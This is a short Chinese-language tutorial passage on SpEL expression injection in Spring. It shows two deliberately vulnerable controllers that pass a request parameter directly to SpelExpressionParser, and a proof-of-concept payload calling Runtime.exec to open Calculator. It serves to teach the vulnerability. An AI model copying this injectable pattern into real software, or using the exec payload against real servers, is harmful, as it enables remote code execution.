语言语法类似于 Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为 SpEL 是以 API 接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
当使用 SpelExpressionParser 解析 spel 表达式,且表达式可被外部控制,则可能导致 SPel 表达式注入从而造成 RCE.
@RequestMapping(path = "/elinjection")
public class SPelInjectionController {
@RequestMapping(value="/spel.html",method= RequestMethod.GET)
public String SPelInjection(ModelMap modelMap, HttpServletRequest request, HttpServletResponse response) throws IOException {
String el=request.getParameter("el");
//el="T(java.lang.Runtime).getRuntime().exec(\"open /Applications/Calculator.app\")";
ExpressionParser PARSER = new SpelExpressionParser();
Expression exp = PARSER.parseExpression(el);
return (String)exp.getValue();
}
}
@GetMapping("/vul")
public String spelVul(String ex) {
ExpressionParser parser = new SpelExpressionParser();
String result = parser.parseExpression(ex).getValue().toString();
System.out.println(result);
return result;
}
/vul?ex=T(java.lang.Runtime).getRuntime().exec("open -a Calculator")
T(Type): 使用“T(Type)”来表示java.lang.Class实例,同样,只有 java.lang 下的类才可以省略包名